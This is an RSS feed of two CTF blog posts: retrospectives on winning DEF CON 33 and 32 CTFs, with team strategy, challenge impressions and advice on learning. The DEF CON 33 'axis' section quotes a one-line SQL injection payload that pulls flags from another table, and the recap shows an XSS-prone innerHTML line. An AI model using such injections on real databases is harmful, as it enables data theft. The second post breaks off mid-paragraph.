<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Posts on VIE</title>
        <link>https://jamvie.net/posts/</link>
        <description>Recent content in Posts on VIE</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <copyright>CC Attribution-NonCommercial 4.0 International License</copyright>
        <lastBuildDate>Mon, 11 Aug 2025 16:30:33 -0700</lastBuildDate>
        <atom:link href="https://jamvie.net/posts/index.xml" rel="self" type="application/rss+xml" />
        
        <item>
            <title>DEFCON 33: Retrospective</title>
            <link>https://jamvie.net/posts/2025/08/defcon-33-retrospective/</link>
            <pubDate>Mon, 11 Aug 2025 16:30:33 -0700</pubDate>
            
            <guid>https://jamvie.net/posts/2025/08/defcon-33-retrospective/</guid>
            <description>1 CTF. 2 full days of hacking. 3 teams. 4 victories.
When we won last year, our hat-trick, we were the first in DEF CON&amp;rsquo;S history to do it. 3 consecutive victories, 8x3 (24) black badges awarded in 3 total years. I think it was safe to say that a reputation formed around us and naturally, speculation. PPP and The Duck already had their own reputations so it&amp;rsquo;s not like the secrets and rumors and awe towards MMM came out of nowhere.</description>
            <content type="html"><![CDATA[<p>1 CTF. 2 full days of hacking. 3 teams. 4 victories.</p>

    <img src="/images/DC2025_MMM.JPG"  class="center"  style="border-radius: 8px; height: 75%; width: 75%;"  />


<p>When we won last year, our hat-trick, we were the first in DEF CON&rsquo;S history to do it. 3 consecutive victories, 8x3 (24) black badges awarded in 3 total years. I think it was safe to say that a reputation formed around us and naturally, speculation. PPP and The Duck already had their own reputations so it&rsquo;s not like the secrets and rumors and awe towards MMM came out of nowhere. However, it&rsquo;s not like MMM was the only team that did well enough to have a reputation in the CTF community.</p>
<p>Any team that has managed to qualify for DEF CON is a strong and worthy team. Each one with decorated legacies and reputations, formed from other victories and vulnerabilities found. Every team had their powerhouses, and none of them were discounted. We didn&rsquo;t have a notion of a &ldquo;weak&rdquo; team, here in MMM. And as such, we treated each and every one of our competitors with their respect that is due. This also meant that the concept of &ldquo;going easy&rdquo; is not in our lexicon, and never will be. Each team we encountered in DEF CON was a worthy and powerful rival. So we didn&rsquo;t hold back. My opinion piece on DEF CON came a little late, probably later than it could have to influence some people&rsquo;s opinions on this matter. But, I think after about 5 years of CTF, and idk how many more to count, I&rsquo;ll admit I gave up on the idea of ensuring that I&rsquo;ve impressed every single CTFer I&rsquo;ve met in my life. I worked hard. I played hard. Discount that how you will.</p>
<h2 id="pregame">PREGAME</h2>
<p>I arrived on the Wednesday, August 6th, to try and at least enjoy Vegas a little bit since the consecutive 5 days after will give me no relief or reprieve. So, I don&rsquo;t really have a lot of technical stuff to discuss here, so I&rsquo;ll indulge and spend some time talking about the things I did.</p>
<p>First, I met up with a teammate and we spent the whole day together, getting oriented around Vegas after an early room check-in. I got tacos and tequila at Chayo&rsquo;s near the Vegas strip, then picked up some other teammates who also came early and hung out with them for the rest of the night. It was really sad - Chayo&rsquo;s has a mechanical bull in the back that I really wanted to go on but it was closed down that day :(</p>

    <img src="/images/dc2025_chayo.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>Thursday was when most others were in Vegas, and I decided to get some breakfast with teammate at the Paris hotel at Mon Ami. The rest of Thursday was prep. We set up our tooling, debriefed on what each and every team member&rsquo;s roles and responsibilities would be, and coordinated other logistics.</p>
<p>This was our 4th year coming to DEFCON, and we held no reservations. Our last win last year was hard-fought and we expected a harder fight with more aggressive teams. The Thursday debrief set the scene to ensure that regardless of what the outcome was, we would give it our all.</p>
<h2 id="day-one---friday">Day One - Friday</h2>

    <img src="/images/dc2025.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>DEF CON&rsquo;s usual light banner, this time in a giant E.</p>
<p>OH 3 FOR 33</p>

    <img src="/images/dc2025_area.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>Friday I was at the floor, and had a fun time trying to figure out networking logistics. At the beginning of the game there seemed to be some ethernet cable issue with our setup that thankfully, a bunch of the organizers came to try and help with. I think we lost precious minutes at the start of the game but the rest of the days forward made up for that.</p>
<p>Nautilus Institute&rsquo;s last organized DEF CON introduced a (new to me, old to others in MMM) mechanic called &ldquo;stealth ports&rdquo;. Each challenge, on each player&rsquo;s box, had 2 ports running the same service. Port A&rsquo;s traffic was recorded and provided to us in pcaps. Port B&rsquo;s wasn&rsquo;t. The flags sourced from port A were of a very high point weight than that of port B. You therefore had an interesting metagame with stealth ports: you could hide a potentially valuable exploit by hitting teams through stealth ports but lose a SIGNIFICANT amount of points (75% decrease), or you could expose your exploit and allow others to potentially copy it from the exploit, but gain full points that way. This introduced a very welcome layer of strategy onto us that we tried to use throughout the game.</p>
<p>Aside from disappearing wifi and new meta discussions of stealth ports, I also had the opportunity to enjoy some challenges - one of which was the first King of the Hill: Attestedfun.</p>
<h3 id="koth-attestedfun">KOTH: attestedfun</h3>

    <img src="/images/dc2025_af_phone.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>The first KOTH challenge, attestedfun, was very interesting. I don&rsquo;t think I&rsquo;ve ever had a challenge that involved a phsyical phone for interactions with, so Nautilus Institute takes the cake for this one.</p>
<p>The premise was simple, after reverse-engineering a server you&rsquo;re given (on the floor) a physical android phone with nothing on it (factory reset). You use it to interact with an app that&rsquo;s just a text box on a green screen. Typing anything in it forced you to watch (at 90 volume cause yall are SICK) either steamboat willie or rave gandalf in its entirety. When the troll was over, the app spat back a seemingly base64-encoded string to you.</p>
<p>After I recieved the phone on the floor, I set it up and downloaded the companion APK. In case there was anything special needed for the phone, I got a few measures to add frida into the app for dynamic instrumentation, and at one point we rooted the phone, but reversed it when we realized we didn&rsquo;t need to.</p>
<p>The actual meat of the challenge was in the rust server. It was a gigantic binary that we manually reversed, and some portions of it are still confusing to decipher. Anyway, in the first iteration of this challenge, there were the following problems:</p>
<pre tabindex="0"><code>b1
biosig1
biochain1
biochain2
biochain3
biocert1
biocert2
biocert3
biochall1
biobstate1
pcsig1
pcsig2
pcchain1
pcchain2
pcchain3
pccert1
pccert2
pccert3
pcchall1
pcbstate1
di0
di1
di2
di3
di4
</code></pre>
    <img src="/images/dc2025_af_app.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>The rough idea of attestedfun was to reverse the logic behind each challenge and perform the requisite actions to satisfy them, on the phone. I could go into greater detail into a seperate blog post about this, as attributes of it were really cool. What wasn&rsquo;t cool was having to, intermittently every 5ish mins, hear steamboat goddamn shit-ass willie in its entirety for the rest of the game. I stand before Christ with how close I was (very close) to losing my shit (very very close).</p>

    <img src="/images/dc2025_af_app_2.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<h3 id="end-day-one">End Day One</h3>

    <img src="/images/dc2025_sleep.JPG"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>Conclusion of day 1 ended with us on top, with a steady lead. However, we&rsquo;ve been through this 3 times already. We knew that first looks are decieving. In spite of our lead we didn&rsquo;t slow down - the next night would be sleepless for most of us.</p>

    <img src="/images/dc2025_yeet.JPG"  class="center"  style="border-radius: 8px; height: 100%; width: 100%;"  />


<h2 id="day-two---saturday">Day Two - Saturday</h2>
<p>Saturday was business as usual! We woke up, most of us, and span our exploits found overnight ready into our thrower. While we started with a lead, we also knew how easy it would have been to end without one. Saturday was also the day I focused on and looked at 2 additional challenges: hs and axis.</p>
<h3 id="koth-hs">KOTH: hs</h3>
<p>I was not a fan of this KoTH, my main feedback being that it doesn&rsquo;t &ldquo;look&rdquo; like a KoTH.</p>
<p>My understanding of a King of The Hill challenge was that of one with a moving goalpost in relation to other teams. You are therefore forced to perform iterative optimizations reactionary to what other optimizations other teams are doing, to maintain a top position. This is why KoTH challs have their own scoreboard to measure these nuances in said optimizations.</p>
<p>The first problem I had with this KoTH was the <em><strong>lack</strong></em> of a scoreboard. It is unclear to me if there was supposed to be one in the first place, or if it was added on later, but regardless the initial few hours that hs was live it was totally unknown to teams how we were doing in relation to each other. This felt like an important aspect of any KoTH that wasn&rsquo;t reflected here.</p>
<p>HOWEVER, one could make the argument that a scoreboard wasn&rsquo;t necessarily needed as once you solved a prompt/got a flag, you were done for the rest of the challenge, which brings me to my 2nd problem: there was no &ldquo;optimization&rdquo; to be had.</p>
<p>A KoTH should be able to provide some active, engaging set of &ldquo;tasks&rdquo; to do per tick. Once you found the flags in hs, you didn&rsquo;t have to do anything else. You could passively gain points after figuring out 1 needed prompt for 1 needed flag. This removes some of the properties of what makes a KoTH so great. Hs felt more like a jeopardy challenge shoehorned into DEF CON, over a challenge specifically tailored to accomodate consistent tinkering upon optimizations for the problem. I think this would have landed better as a jeopardy challenge during quals, or maybe an attack-defense challenge with tweaks, but it just didn&rsquo;t make sense as a KoTH challenge. We dedicated minimal resources to this as the ROI on this challenge was tiny, and dwindling faster than other challenges. Our priority landed on those other challenges.</p>
<h3 id="ad-axis">AD: axis</h3>
<p>Axis was a web challenge written in erlang, but provisioned as an erlang binary so we needed to reverse it. The reversing was probably the most interesting part, as the web component here was more straightforward. The code of Axis was recycled from previous challenges: <a href="https://github.com/Nautilus-Institute/quals-2023/tree/main/rawwater">rawwater</a> from the 2023 quals and <a href="https://github.com/Nautilus-Institute/quals-2024/tree/5e15c5e1a2cb100f86c22e759536327e23af5bf8/gilroy">gilroy</a> from the 2024 quals. Snippets of the reversed binary revealed dead source code that served as a sort of template from both challenges that came before. Some of these dead code bits created rabbit holes, but we did have a jumping off point to base some of our exploits on. Most of said exploits were SQLi, as the challenge allowed you to modify fields in other tables of the SQL database: <code>vie', name = (select flag from flags) || '</code>. Creating forms also allowed you to view these table fields for flag viewing purposes.</p>
<h3 id="end-day-two">End Day Two</h3>
<p>We got kicked out of LiveCTF pretty early so our point delta would look different without the boost of points. This year&rsquo;s stealth ports meant that every other point-gaining attribute got a massive scale up, so losing out of LiveCTF top 3 meant that our lead wasn&rsquo;t as big as we thought it was. This was concerning - the delta between first and second place was smaller than we thought. Furthermore, the last day of Sunday was, idk, 3 hours long? We couldn&rsquo;t spend those remaining hours doing fuck-all. Last night, and last few years, we encouraged and had a system of people who slept while others worked, on shift. This day, we all collectively said fuck it. All of us were up.</p>
<h2 id="day-three---sunday">Day Three - Sunday</h2>
<p>I don&rsquo;t have much to say here since the day lasted 3 hours - basically. I guess I have more to say on the afterparty, but that comes later.</p>
<p>We concluded Sunday throwing everything we got. Fuck stealth ports - just throw whatever we had. For the last bit of the game lasting 3 hours, it admittedly was pretty intense. Bpak got the call for our victory and we were requested for our 8 black badge recipients. On MB&rsquo;s side, we chose some people who showed an intense dedication during the game itself, and to the CTF team as a whole.</p>

    <img src="/images/dc2025_awardsceremony.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>The black badges this year were cool - the lanyard was an intricate hand-beaded design with a brass cast of this year&rsquo;s design.</p>

    <img src="/images/dc2025_blackbadge.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<h3 id="afterparty">Afterparty</h3>
<p>Unlike previous years, this year&rsquo;s afterparty took place in a (?) compound (??) of multiple houses with a general backyard area (???) centering them. The afterparty was, as usual, very fun. I spent most of my time with my teammates but it was genuinely lovely to see all of my other CTF friends there too. The party is the ONE time I get to have to see alot of said friends around, as I&rsquo;m not really venturing around meeting other CTF players during active competition times. A lovely shoutout to some cool people I met from mhackeroni, KuK Hofhackerei, and of course Dicegang (SuperDiceCode) and Shellphish.</p>
<p>
    <img src="/images/bluepichu_vie_yeehaw.JPEG"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<em>Bluepichu and Vie say yeehaw</em></p>
<h2 id="to-nautilus-institute">To Nautilus Institute</h2>
<p>4 years. I understand that for some of you, this was not your first rodeo.</p>
<p>Your breakthrough year of 2022 was controversial, to say the least. Many CTF teams have various thoughts about how DEF CON was organized during your reign. I won&rsquo;t discount the valid cirticism that they may hold, BUT I will ignore the less-valid criticism that were thinly-veiled insults, that shit isn&rsquo;t productive. In fact, I&rsquo;m sure you&rsquo;ve heard it all already. Many teams, especially the ones who played in the CTF this year, have also organized their own CTFs, so some points of feedback are coming from wiser places than others.</p>
<p>But every CTF is different. And I also know (in fact, perhaps am very aware) that you recieved 10 complaints to every 1 compliment directed at you. You&rsquo;ve shouldered the task of a fucking <strong>thankless</strong> job for 4 years. Everyone wants DEF CON CTF, and nobody wants to organize it. It&rsquo;s as if we all implicitly know that if we&rsquo;d take up the mantle we&rsquo;d open ourselves to more hate than love, because teams clamor up and desperately fight with their fangs out during quals for a chance to hit Vegas. We all <em>think</em> we&rsquo;d do a better job, but there will always be something to hate. You have run <em>the</em> CTF, the CTF that has the allure of a siren to the community. Everyone has opinions on it.</p>
<p>I&rsquo;ve been on the other side as well. Organizing a big, high-stakes CTF means you&rsquo;re given an ocean of responsibility that&rsquo;s easy to drown in. I won&rsquo;t absolve you of mistakes you may have made, but I know I don&rsquo;t have even the smallest shred of understanding of the ocean you were in anyway - <em>and I help with GoogleCTF</em>, a similarly gigantic high-stakes CTF.</p>
<p>To Nautilus Institute, I see you. I see the work you&rsquo;ve put in, and know that the only thing that was propelling DEF CON CTF forward was the absolute dedication to the craft that could have only come from a principled love for the hacking community. It takes some real guts to stand tall in spite of getting shit on for a CTF you feel like you&rsquo;ve dedicated actual years of your life to, even if the criticism was valid (yes, I have valid feedback, and I hope I have communicated that effectively earlier). I know what its like to sacrifice your nights to keep a server running and then ignore the hateful messages <em>in the same hour</em>, I commend you for the ironclad guard you would have needed to withstand that. That kind of determination and drive to push yourself (even when you might kill yourself doing so) comes very rarely, and is worth its weight in gold. I&rsquo;ve been in your shoes. I see you.</p>
<p>Goodbye, thank you for the blood and sweat and tears that created 4 years worth of hacking, and goodluck to the next organizer.</p>
<h2 id="closing-photos">Closing Photos</h2>

    <img src="/images/dc2025_sharkjason.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>Jason (Kirkland Green Tea) packed a shark costume and wore it for our team photo.</p>
<!-- raw HTML omitted -->

    <img src="/images/vieboatwillie.png"  class="center"  style="border-radius: 8px; height: 100%; width: 100%;"  />


<p>Vie Boat Willie</p>
<!-- raw HTML omitted -->

    <img src="/images/dc2025_mbshirt.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>We got Maple Bacon custom shirts :)</p>
<!-- raw HTML omitted -->
]]></content>
        </item>
        
        <item>
            <title>DEF CON 32 Retrospective, end of the year recap</title>
            <link>https://jamvie.net/posts/2024/12/def-con-32-retrospective-end-of-the-year-recap/</link>
            <pubDate>Sun, 29 Dec 2024 10:29:46 -0400</pubDate>
            
            <guid>https://jamvie.net/posts/2024/12/def-con-32-retrospective-end-of-the-year-recap/</guid>
            <description>In 2009, a group students at the Carnegie Mellon University formed a computer security club known as the Plaid Parliament of Pwning, abbreviated to PPP, to participate in Capture the Flag contests. The team saw numerous successes throughout their tenure, and many of the CMU folks with their roots in PPP went on to succeed professionally in cybersecurity-related careers.
2 such members went on to co-create Theori.io, a leading platform of security solutions covering everything from security education to audits and consulting.</description>
            <content type="html"><![CDATA[<p>In 2009, a group students at the Carnegie Mellon University formed a computer security club known as the <a href="https://pwning.net/about/">Plaid Parliament of Pwning</a>, abbreviated to PPP, to participate in Capture the Flag contests. The team saw numerous successes throughout their tenure, and many of the CMU folks with their roots in PPP went on to succeed professionally in cybersecurity-related careers.</p>
<p>2 such members went on to co-create <a href="https://theori.io/">Theori.io</a>, a leading platform of security solutions covering everything from security education to audits and consulting. Their presence exists in both South Korea and USA, and they have their own CTF team, <a href="https://github.com/theori-io/ctf/tree/master">The Duck</a>, that dominates leaderboards whenever they play.</p>
<p>Up north, professor Robert Xiao, after completing his PhD at CMU, went on to become an assistant professor at the University of British Columbia in Vancouver, Canada. A seasoned CTF player, he brought more visibility into the world of CTFs to UBC, founding and creating the team <a href="https://maplebacon.org/about/">Maple Bacon</a>.</p>
<p>Without alot of the support I got at Maple Bacon and MMM, I don&rsquo;t think I would be where I&rsquo;m at today. That&rsquo;s a fact I think about often and keep close to me. It has now been almost 2 years since I graduated UBC, and about 4ish years since I got into CTFs as a whole. If you know me, than you would know I was once an artist in a past life. I think it&rsquo;s natural for me to compare my artistic journey to my hacker one and see the differences and similarities between the two, <a href="https://www.youtube.com/watch?v=sMiFeCDqX50">which I have talked about before</a>. But one difference was that as an artist I was alone.</p>
<p>It kinda helped, I think, the isolation. With no one else to bother you, you only focus on what is in front of you: the canvas. I also know that you can only go so far on your own, at least in my case. I approached CTFs the same way I did with art, and it definitely led to some early successes - alot of the skills are transferrable (not, like, the painting skills. Obviously. I mean the more abstract &ldquo;thinking out of the box&rdquo; skills. Fuck it, you get what I mean). I think what got me farther was the fact that I <em>wasn&rsquo;t</em> alone. When you have a group of hard working people around you, you&rsquo;re naturally ingratiated to be just as hard-working yourself. Maybe that mentality helped tremendously with our 3rd consecutive <a href="https://nautilus.institute/">DEF CON</a> win this year.</p>

    <img src="/images/MMM_hattrick.JPG"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>I&rsquo;m really late with this, I&rsquo;m aware. I&rsquo;ve sort of combined this with a psuedo-retrospective end of year recap just so I don&rsquo;t have to release multiple different blog posts at once all covering similar principles. I&rsquo;ll try and format this blog post based on a selection of questions I&rsquo;m frequently asked.</p>
<h2 id="how-do-you-pronounce-vie">How do you pronounce Vie?</h2>
<p>Vie</p>
<h2 id="youre-a-web-main---how-do-you-feel-about-the-lack-of-web-representation-in-def-con">You&rsquo;re a web main - how do you feel about the lack of web representation in DEF CON?</h2>
<p>I can do more than web stuff</p>
<h2 id="def-con-was-in-august-youre-a-little-late">DEF CON was in August. You&rsquo;re a little late!</h2>
<p>Hey thanks for noticing. 2024 kind of kicked my ass. I don&rsquo;t feel like trauma dumping on main here so I&rsquo;ll leave the details out and say that 2024 was a year I survived, instead of thrived. But that&rsquo;s alright, imo. Sometimes you forget who the fuck you are and you need some time and self-care to remember who the fuck you are. Sorry I&rsquo;m late.</p>
<h2 id="tell-me-more-about-def-con">Tell me more about DEF CON.</h2>
<h3 id="thursday">Thursday</h3>
<p>DEF CON being at the LVCC was annoying in terms of needing to carpool to get to the convention, as opposed to walking there from our hotels, but this is ultimately a first-world complaint and something I forgot about during the entire CTF.</p>
<p>I love Vegas. It&rsquo;s a pretty city. I spent the first day hanging out with MMM, getting shit set up, and getting my badge from the convention center. I went to Nobu for a fancy dinner and damn, I gotta say, the miso black cod is worth the hype.</p>

    <img src="/images/misoblackcod.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<h3 id="friday">Friday</h3>
<p>Before getting super involved in DEF CON, I was also present in Vegas for a special talk at <a href="https://www.unlv.edu/announcement/howard-r-hughes-college-engineering/google-sponsors-initgvegas-student-event-unlv">Google&rsquo;s init.g event</a>. I did a talk covering some red teaming concepts with Zeta, which went pretty well! <a href="https://www.youtube.com/watch?v=fPt6fJDjKKM">Here&rsquo;s a video where LiveOverflow shared some Android hacking tips, as part of init.g</a>.</p>

    <img src="/images/DEFCON_BADGE.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>I really liked the badges that they did for this year. You can turn the cat shape upside down to have an ergonomic gaming controller and play the game in the badge challenge.</p>

    <img src="/images/DEFCON32_black.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>The black badge variant was also very cool: laced with gold and swarovski crystals, and I think radioactive isotope? Someone fact check me on that I can&rsquo;t remember.</p>
<p>In a massively good move, patches submitted to the CTF infrastructure would be rejected before being uploaded to the public docker registry if the patch failed the SLA CI/CD tests. This was huge, removing the SLA component in the general scoring formula (making it rely solely on attack, defense, liveCTF and KoTH) and having it be tests that our patch would have to pass removed alot of potential headache of downed services or other SLA-failing issues we dealt with in the past. Naturally we wouldn&rsquo;t know what the tests were actually doing cause then patch-making would be easy, but this simple switch saved us some headaches we were accustomed to getting in previous years.</p>
<p>In an attack defense CTF, whoever first bloods gets a massive advantage, and that was not us. Several teams managed to pop off exploits before us and that meant a whirlwind Friday as our first day. There were 8 A/D challenges:</p>
<ul>
<li>bizbee</li>
<li>lazelle</li>
<li>codewords</li>
<li>backflip</li>
<li>cloud-cache &ndash;&gt; I looked at this one the most</li>
<li>helium</li>
<li>bisbeebee</li>
<li>sokoban, released on day 1 and retired day 3.</li>
</ul>
<p>We also had a KoTH challenge with LLMs: llmship, which had since been a thing from 2022, and I assume is just going to be a mainstay from here on out. This challenge seemed to be a callback to <a href="https://ctfradi.ooo/2020/10/06/005-ropship-ai-with-antonio-and-ppp.html">ropship AI</a>, but with actual AI (LLMs). Unfortunately, LLM challenges involve randomness that sort of prioritizes prompts on a metric completely unknown and random to us, and it felt like we were very unlucky with this challenge.</p>
<p>Friday left us a bit wrought out, but we maintained our determination into the next day.</p>
<h3 id="saturday">Saturday</h3>
<p>I was really busy and wasn&rsquo;t able to hang out with some coworkers, but this day I went down to the floor and got some photos taken of the new venue. LVCC is awfully nice and I do appreciate how spacious the place was.</p>
<p>Here&rsquo;s the situation: for a while, we (MMM) were at 5th place for a good chunk of the day. In spite of our numbers alot of us were running around patching, identifying vulns, and otherwise getting confused why patches were getting rejected. DEF CON always brings the best so we were expecting a fight, and dare I say, we were getting burned out.</p>
<p>I don&rsquo;t have much else to say for this day, just that we were still working hard but getting frustrated at the little fires we had to put out. We ended Saturday in 2nd place, but we all knew we wanted only one position.</p>
<h3 id="sunday">Sunday</h3>
<p>In a phenomena I can only describe as a Collective Dislike Of The Circumstances We Were In, each and every single one of us at MMM all unanimously agreed to stand on business. I do find it sort of poetic that we all simultaneously said &ldquo;fuck burnout, we&rsquo;re not burning out&rdquo; and made a synergetic system of identifying vulnerabilities in the challenges, then multi-threaded patch and exploit creation at DEF CON.</p>
<p>For me, I was with the group in defense, pushing out and reviewing patches, which went pretty well imo.</p>
<p>KoTH was still our weakpoint, we were wrangling with the previous LLM challenge&rsquo;s apparent randomness and at a certain point we collected our L for that. We better diverted our attention towards gaps in our system of exploit development, patch development, and so on.</p>

    <img src="/images/award_ceremony.jpg"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<p>Clutching first place on Sunday was a great feeling. We got our hat trick and I&rsquo;m more than happy to celebrate that. Here are some random funny snippets of the end that I really like:</p>

    <img src="/images/MMM_activities.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />



    <img src="/images/captain_vie.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />



    <img src="/images/scoreboard_dc32.png"  class="center"  style="border-radius: 8px; height: 50%; width: 50%;"  />


<h2 id="how-does-one-get-better-at-ctfs-to-play-in-def-con">How does one get better at CTFs to play in DEF CON?</h2>
<p>I&rsquo;ve seen an uptick in people asking me what curated list of tips are relevant to get oneself to DEF CON. It&rsquo;s a reasonable ask and it&rsquo;s one that I don&rsquo;t have a reasonable answer for. I tried to coalesce some of my thoughts and tips on it into a tweet thread a while ago but after some consolidation of resources, I have a <em>slightly</em> (?) better (??) answer for it.</p>
<p>Fellow CTF player and my good friend, <a href="https://zeta-two.com/">ZetaTwo</a>, said it best: you should learn enough about the other categories of CTFs outside of your main to get to a good enough level to solve those categories at a medium level, whilst you focus on building out the skills needed for your main category.</p>
<p>It can take some time to learn, depending on the person. If you&rsquo;re someone who doesn&rsquo;t like low-level stuff than binary exploits and reverse engineering require concepts of computer memory and operating systems that will feel alien to you. (Hey good thing there&rsquo;s, like, a free <a href="https://www.hextree.io/">set of</a> <a href="https://pwn.college/">educational</a> <a href="https://dreamhack.io/">materials</a> for that). Or if you&rsquo;re not one for number theory than you&rsquo;re not gonna like the RSA problems in cryptography (Hey good thing there&rsquo;s a free set of <a href="https://cryptopals.com/">educational</a> <a href="https://cryptohack.org/">resources so on and so forth</a>). Or if you don&rsquo;t like JavaScript, PHP, server-client paradigms, obscure client-side quirks about the browser, you&rsquo;re not gonna like web (HEY <a href="https://picoctf.org/">GOOD</a> <a href="https://webhacking.kr/">THING THERE&rsquo;S</a>-). My point being, ZetaTwo&rsquo;s advice is solid advice and the one that I try to follow when I learn new things. It&rsquo;s just not a particularly trivial bit of advice to follow.</p>
<p>(But what good would the advice be if it was easy? Was winning DEF CON easy? No, it wasn&rsquo;t. Nothing worth doing in life comes easy. I didn&rsquo;t bust my ass for near 20 years of my life learning how to best shade in an apple with oil paints to come out of it saying it was easy. I still have callouses around the pads of my palms that gripped the brush, they&rsquo;re never going away. Who says that learning something you love doing would be easy? It&rsquo;s easy when you look back and do the easy challenges, ones that you struggled on previously, or paint the simple things. But I don&rsquo;t wanna paint fuckin apples all day. I don&rsquo;t wanna solve easy XSS <code>element.innerHTML = &quot;your exact URL query&quot;</code> all day. I want a challenge because that&rsquo;s where the fun is. Have you ever turned on god mode when you play Skyrim? If you played Skyrim throughout its entirety while on god mode, that shit would get boring really really quick. There&rsquo;s no skill progression, no failing and trying again, no adjusting of strategy, you just one-shot everyone while you T-pose your way to Alduin face-down holding a pot like OKAAAyYY dragonborn that&rsquo;s not fun. Turn off the goddamn god mode. You learn and derive fun from the challenge of it all. Why does everyone like Soulsborne games? EXACTLY. When it&rsquo;s easy for too long it&rsquo;s boring. Elden Ring was so good.</p>
<p>Oh my god. What was I talking about earlier? CTFs right)</p>
<p>In my opinion, Z2&rsquo;s advice is two-pronged: get used to the concept of &ldquo;challenging&rdquo;, and also round out your skills to build yourself up. The thing is, if you come across adversary while you learn a new skill, or if you come across challenge you feel like you can&rsquo;t overcome, that&rsquo;s a Really Good Thing actually. I&rsquo;d make the extremely anecdotal source-I-made-it-the-fuck-up argument here that you need both a consistent reward base (so solving and getting the flag in CTF challenges) and a portion of negative stimuli and failure (<em>not</em> solve a CTF challenge and learn why) to improve your skills. After all, how do you know where to break your ceiling if you don&rsquo;t know where your ceiling is?</p>
<p>Azeria of <a href="https://azeria-labs.com/">AzeriaLabs</a> has this blog post that I like to look to when I want to Learn A New Thing: <a href="https://azeria-labs.com/the-process-of-mastering-a-skill/">The Process of Mastering a Skill</a>. She goes into good, researched detail about the science behind learning a new skill (go and read the whole article. It&rsquo;s really good):</p>
<blockquote>
<p>Today we know that it’s not magic. It’s this specific form of practice. If you look at the so-called “geniuses” throughout history, time and again the common factor is not innate talent, but just that they each put countless hours into mastering their craft long before arriving at their respective breakthroughs.</p>
</blockquote>
<p>As an aside, people often praise my artistic capabilities as talent. Like, okay? We can make the argument that I expressed a desire to draw and doodle at a very young age - that could be defined as talent. But talent doesn&rsquo;t explain the progression of the toddler&rsquo;s doodle to now. So over the course of 2 decades (I can&rsquo;t stress this enough I spent 20 years of my life learning this craft, 20 YEARS like you&rsquo;d think I would be drawing Baroque realism all over the place but no instead I fight computers for a living) I went to art classes, got tutoring, did lessons, and practiced art on my off time outside of my schoolwork. Talent got me my first step and consistent habit got me the rest of the fuckin way there.</p>
<p>So, am I going to spend the next couple of mins of this post evangelizing grind culture and HaRD WOrk? No, not really, either. But I am going to state a pattern I&rsquo;m observing:</p>
<p>Here is a <a href="/posts/2020/08/googlectf-2020-pasteurize/">post</a> that I made at the beginning of my CTF journey. It&rsquo;s, TL;DR, an XSS problem which uses quirks in the qs parsing library to bypass XSS sanitization. I think I spent the first 24 hours of GoogleCTF on it? I didn&rsquo;t solve the other one, cause it was beyond my capability.</p>
<p>Here&rsquo;s a <a href="https://github.com/google/google-ctf/tree/main/2023/quals/web-vegsoda">GoogleCTF problem</a> I made 3 years later about employing type-confusions to chain a series of class functions together to bypass XSS sanitization alongside a CSRF bypass with different HTTP methods. Notice how the challenge from 2020 involves the same general point of XSS sanitization - except now I actually knew what I was talking about in the year I made my challenge. Pasteurize, the challenge from 2020, taught me very important concepts of XSS sanitization, type confusions, and parsing differentials, ALL 3 things that were very useful during my development of Veggie Soda. I couldn&rsquo;t have done Veggie Soda without struggling through Pasteurize.</p>
<p>From the years 2020 - 2023 I wasn&rsquo;t doing fuck-all, I was learning. I learned alot of parsing differentials and XSS sanitization that day in GoogleCTF 2020. But at that point, Pasteurize was the hardest challenge I knew at the time. In the 3 years of progression I learned about different things through different <a href="https://jamvie.net/posts/2020/11/dragonctf-2020-harmony-chat/">challenges</a> that <a href="https://jamvie.net/posts/2021/10/asis-quals-2021-lovely-nonce/">confronted me</a> at <a href="https://jamvie.net/posts/2022/08/defcon-30-retrospective/">the goalpost I was</a> and only <a href="https://jamvie.net/posts/2023/08/defcon-31-retrospective/">allowed me a solve</a> if I ventured out towards the next goalpost.</p>
<h3 id="so-if-i-hyperfocus-on-it-i-can-get-to-def-con-too">So if I hyperfocus on it, I can get to DEF CON too?</h3>
<p>Hm.</p>
<p>Here&rsquo;s another anecdote: At UBC, the computer science major has gotten so popular as of late that entry to the major is competitive. At UBC, you apply to join a faculty (Arts or Science, if you want CS). After your first year, you declare a major. For most majors, it&rsquo;s simple enough to declare it and get on with picking your requisite classes - but for certain majors, you need to apply and see if you&rsquo;ll get accepted against the general average. This general average is the average of the other students applying for the major - if you&rsquo;re above that average you&rsquo;re likely to get in. If you&rsquo;re below, well.</p>
<p>Over the years this competitive average has gotten higher and higher. And the concentration of students interested in computer science is higher than it was when I started. I see why a competitive average was needed. Alot of good schools in Canada employ similar strategies to optimize for the student that they feel can succeed in their computer science programs. I can imagine that, while not exactly the same, the barrier of entry to computer science is similarly hard for universities across the world. It makes sense.</p>
